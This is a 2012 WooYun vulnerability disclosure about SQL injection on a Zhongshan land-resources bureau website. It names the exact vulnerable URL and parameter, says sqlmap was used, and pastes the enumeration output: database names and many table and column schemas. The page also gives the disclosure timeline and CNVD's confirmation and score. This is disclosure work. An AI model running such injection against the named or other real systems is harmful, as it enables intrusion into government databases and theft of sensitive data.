当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06942

漏洞标题：中山市国土资源局存在严重注入大量信息泄露

相关厂商：中山市国土资源局

漏洞作者： FlyR4nk

提交时间：2012-05-11 15:17

修复时间：2012-06-25 15:17

公开时间：2012-06-25 15:17

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-11： 细节已通知厂商并且等待厂商处理中
2012-05-14： 厂商已经确认，细节仅向厂商公开
2012-05-24： 细节向核心白帽子及相关领域专家公开
2012-06-03： 细节向普通白帽子公开
2012-06-13： 细节向实习白帽子公开
2012-06-25： 细节向公众公开

简要描述：

中山市国土资源局存在严重注入，可以获得管理员密码，获取房产等敏感信息。

详细说明：

http://www.zsfdc.gov.cn/MessageList.aspx?id=16467存在注入。


用sqlmap直接注入之。

漏洞证明：

数据库信息：

available databases [8]:
[*] gtzyzx1110
[*] jysweb
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
表信息：
Database: gtzyzx1110
[35 tables]
+--------------------------+
| dbo."成交$"                  |
| dbo."需要转成交$"                  |
| dbo.Acl_map              |
| dbo.ApplyZWPublic        |
| dbo.Article              |
| dbo.Auction              |
| dbo.BgList               |
| dbo.Bgtype               |
| dbo.Category             |
| dbo.Dic_State            |
| dbo.Dic_Type             |
| dbo.FlowNumber           |
| dbo.Guestbook            |
| dbo.Guestbook_Categories |
| dbo.Items                |
| dbo.LogText              |
| dbo.Media                |
| dbo.MediaCategories      |
| dbo.Menus                |
| dbo.OfficType            |
| dbo.Office               |
| dbo.OfficeDirect         |
| dbo.Subjects             |
| dbo.Topics               |
| dbo.UserGroup            |
| dbo.Users                |
| dbo.VideoMedia           |
| dbo.WebLinks             |
| dbo.ZwgkmlClass          |
| dbo.ZwgkmlContent        |
| dbo.dtproperties         |
| dbo.modules              |
| dbo.placename            |
| dbo.sysconstraints       |
| dbo.syssegments          |
+--------------------------+
Database: Northwind
Table: dbo."Quarterly Orders"
[4 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| City        | nvarchar |
| CompanyName | nvarchar |
| Country     | nvarchar |
| CustomerID  | nchar    |
+-------------+----------+
Database: Northwind
Table: dbo.syssegments
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| name    | varchar |
| segment | int     |
| status  | int     |
+---------+---------+
Database: Northwind
Table: dbo."Sales by Category"
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| CategoryID   | int      |
| CategoryName | nvarchar |
| ProductName  | nvarchar |
| ProductSales | money    |
+--------------+----------+
Database: Northwind
Table: dbo."Products by Category"
[5 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| CategoryName    | nvarchar |
| Discontinued    | bit      |
| ProductName     | nvarchar |
| QuantityPerUnit | nvarchar |
| UnitsInStock    | smallint |
+-----------------+----------+
Database: Northwind
Table: dbo.CustomerDemographics
[2 columns]
+----------------+-------+
| Column         | Type  |
+----------------+-------+
| CustomerDesc   | ntext |
| CustomerTypeID | nchar |
+----------------+-------+
Database: Northwind
Table: dbo."Order Subtotals"
[2 columns]
+----------+-------+
| Column   | Type  |
+----------+-------+
| OrderID  | int   |
| Subtotal | money |
+----------+-------+
Database: Northwind
Table: dbo."Category Sales for 1997"
[2 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| CategoryName  | nvarchar |
| CategorySales | money    |
+---------------+----------+
Database: Northwind
Table: dbo."Sales Totals by Amount"
[4 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| CompanyName | nvarchar |
| OrderID     | int      |
| SaleAmount  | money    |
| ShippedDate | datetime |
+-------------+----------+
Database: Northwind
Table: dbo.sysconstraints
[7 columns]
+---------+----------+
| Column  | Type     |
+---------+----------+
| actions | int      |
| colid   | smallint |
| constid | int      |
| error   | int      |
| id      | int      |
| spare1  | tinyint  |
| status  | int      |
+---------+----------+
Database: Northwind
Table: dbo."Current Product List"
[2 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| ProductID   | int      |
| ProductName | nvarchar |
+-------------+----------+
Database: Northwind
Table: dbo."Order Details"
[5 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| Discount  | real     |
| OrderID   | int      |
| ProductID | int      |
| Quantity  | smallint |
| UnitPrice | money    |
+-----------+----------+
Database: Northwind
Table: dbo."Customer and Suppliers by City"
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| City         | nvarchar |
| CompanyName  | nvarchar |
| ContactName  | nvarchar |
| Relationship | varchar  |
+--------------+----------+
Database: Northwind
Table: dbo.Region
[2 columns]
+-------------------+-------+
| Column            | Type  |
+-------------------+-------+
| RegionDescription | nchar |
| RegionID          | int   |
+-------------------+-------+
Database: Northwind
Table: dbo."Summary of Sales by Quarter"
[3 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| OrderID     | int      |
| ShippedDate | datetime |
| Subtotal    | money    |
+-------------+----------+
Database: Northwind
Table: dbo.Customers
[11 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| Address      | nvarchar |
| City         | nvarchar |
| CompanyName  | nvarchar |
| ContactName  | nvarchar |
| ContactTitle | nvarchar |
| Country      | nvarchar |
| CustomerID   | nchar    |
| Fax          | nvarchar |
| Phone        | nvarchar |
| PostalCode   | nvarchar |
| Region       | nvarchar |
+--------------+----------+
Database: Northwind
Table: dbo."Product Sales for 1997"
[3 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| CategoryName | nvarchar |
| ProductName  | nvarchar |
| ProductSales | money    |
+--------------+----------+
Database: Northwind
Table: dbo."Products Above Average Price"
[2 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| ProductName | nvarchar |
| UnitPrice   | money    |
+-------------+----------+
Database: Northwind
Table: dbo.Territories
[3 columns]
+----------------------+----------+
| Column               | Type     |
+----------------------+----------+
| RegionID             | int      |
| TerritoryDescription | nchar    |
| TerritoryID          | nvarchar |
+----------------------+----------+
Database: Northwind
Table: dbo.CustomerCustomerDemo
[2 columns]
+----------------+-------+
| Column         | Type  |
+----------------+-------+
| CustomerID     | nchar |
| CustomerTypeID | nchar |
+----------------+-------+
Database: Northwind
Table: dbo."Orders Qry"
[20 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| Address        | nvarchar |
| City           | nvarchar |
| CompanyName    | nvarchar |
| Country        | nvarchar |
| CustomerID     | nchar    |
| EmployeeID     | int      |
| Freight        | money    |
| OrderDate      | datetime |
| OrderID        | int      |
| PostalCode     | nvarchar |
| Region         | nvarchar |
| RequiredDate   | datetime |
| ShipAddress    | nvarchar |
| ShipCity       | nvarchar |
| ShipCountry    | nvarchar |
| ShipName       | nvarchar |
| ShippedDate    | datetime |
| ShipPostalCode | nvarchar |
| ShipRegion     | nvarchar |
| ShipVia        | int      |
+----------------+----------+
Database: Northwind
Table: dbo.Shippers
[3 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| CompanyName | nvarchar |
| Phone       | nvarchar |
| ShipperID   | int      |
+-------------+----------+
Database: Northwind
Table: dbo."Alphabetical list of products"
[11 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| CategoryID      | int      |
| CategoryName    | nvarchar |
| Discontinued    | bit      |
| ProductID       | int      |
| ProductName     | nvarchar |
| QuantityPerUnit | nvarchar |
| ReorderLevel    | smallint |
| SupplierID      | int      |
| UnitPrice       | money    |
| UnitsInStock    | smallint |
| UnitsOnOrder    | smallint |
+-----------------+----------+
Database: Northwind
Table: dbo.Employees
[18 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| Address         | nvarchar |
| BirthDate       | datetime |
| City            | nvarchar |
| Country         | nvarchar |
| EmployeeID      | int      |
| Extension       | nvarchar |
| FirstName       | nvarchar |
| HireDate        | datetime |
| HomePhone       | nvarchar |
| LastName        | nvarchar |
| Notes           | ntext    |
| Photo           | image    |
| PhotoPath       | nvarchar |
| PostalCode      | nvarchar |
| Region          | nvarchar |
| ReportsTo       | int      |
| Title           | nvarchar |
| TitleOfCourtesy | nvarchar |
+-----------------+----------+
Database: Northwind
Table: dbo."Order Details Extended"
[7 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| Discount      | real     |
| ExtendedPrice | money    |
| OrderID       | int      |
| ProductID     | int      |
| ProductName   | nvarchar |
| Quantity      | smallint |
| UnitPrice     | money    |
+---------------+----------+
Database: Northwind
Table: dbo."Summary of Sales by Year"
[3 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| OrderID     | int      |
| ShippedDate | datetime |
| Subtotal    | money    |
+-------------+----------+
Database: Northwind
Table: dbo.Suppliers
[12 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| Address      | nvarchar |
| City         | nvarchar |
| CompanyName  | nvarchar |
| ContactName  | nvarchar |
| ContactTitle | nvarchar |
| Country      | nvarchar |
| Fax          | nvarchar |
| HomePage     | ntext    |
| Phone        | nvarchar |
| PostalCode   | nvarchar |
| Region       | nvarchar |
| SupplierID   | int      |
+--------------+----------+
Database: Northwind
Table: dbo.Invoices
[26 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| Address        | nvarchar |
| City           | nvarchar |
| Country        | nvarchar |
| CustomerID     | nchar    |
| CustomerName   | nvarchar |
| Discount       | real     |
| ExtendedPrice  | money    |
| Freight        | money    |
| OrderDate      | datetime |
| OrderID        | int      |
| PostalCode     | nvarchar |
| ProductID      | int      |
| ProductName    | nvarchar |
| Quantity       | smallint |
| Region         | nvarchar |
| RequiredDate   | datetime |
| Salesperson    | nvarchar |
| ShipAddress    | nvarchar |
| ShipCity       | nvarchar |
| ShipCountry    | nvarchar |
| ShipName       | nvarchar |
| ShippedDate    | datetime |
| ShipperName    | nvarchar |
| ShipPostalCode | nvarchar |
| ShipRegion     | nvarchar |
| UnitPrice      | money    |
+----------------+----------+
Database: Northwind
Table: dbo.EmployeeTerritories
[2 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| EmployeeID  | int      |
| TerritoryID | nvarchar |
+-------------+----------+
Database: Northwind
Table: dbo.D99_CMD
[2 columns]
+--------+---------+
| Column | Type    |
+--------+---------+
| Data   | varchar |
| ID     | int     |
+--------+---------+
Database: Northwind
Table: dbo.D99_Tmp
[3 columns]
+--------------+---------+
| Column       | Type    |
+--------------+---------+
| depth        | varchar |
| file         | varchar |
| subdirectory | varchar |
+--------------+---------+
Database: Northwind
Table: dbo.Orders
[14 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| CustomerID     | nchar    |
| EmployeeID     | int      |
| Freight        | money    |
| OrderDate      | datetime |
| OrderID        | int      |
| RequiredDate   | datetime |
| ShipAddress    | nvarchar |
| ShipCity       | nvarchar |
| ShipCountry    | nvarchar |
| ShipName       | nvarchar |
| ShippedDate    | datetime |
| ShipPostalCode | nvarchar |
| ShipRegion     | nvarchar |
| ShipVia        | int      |
+----------------+----------+
Database: Northwind
Table: dbo.Categories
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| CategoryID   | int      |
| CategoryName | nvarchar |
| Description  | ntext    |
| Picture      | image    |
+--------------+----------+
Database: Northwind
Table: dbo.Products
[10 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| CategoryID      | int      |
| Discontinued    | bit      |
| ProductID       | int      |
| ProductName     | nvarchar |
| QuantityPerUnit | nvarchar |
| ReorderLevel    | smallint |
| SupplierID      | int      |
| UnitPrice       | money    |
| UnitsInStock    | smallint |
| UnitsOnOrder    | smallint |
+-----------------+----------+


好怕，很多信息就不贴了。收工吧！

修复方案：

过滤！！！！！

版权声明：转载请注明来源 FlyR4nk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2012-05-14 15:01

厂商回复：

CNVD确认并复现所述漏洞情况，转由CNCERT广东分中心协调涉事单位处置。
对漏洞评分如下：
CVSS：(AV:R/AC:L/Au:NR/C:C/A:N/I:P/B:N) score:8.47（最高10分，中危）
即：远程攻击、攻击难度低、不需要用户认证，对机密性造成完全影响，对完整性造成部分影响。
技术难度系数：1.0（参数并列使用，这个好象不常见）
影响危害系数：1.3（较严重，涉及地市级政府部门，且存在信息泄露风险）
CNVD综合评分：8.47*1.0*1.3=11.011

最新状态：

暂无

漏洞评价：

评论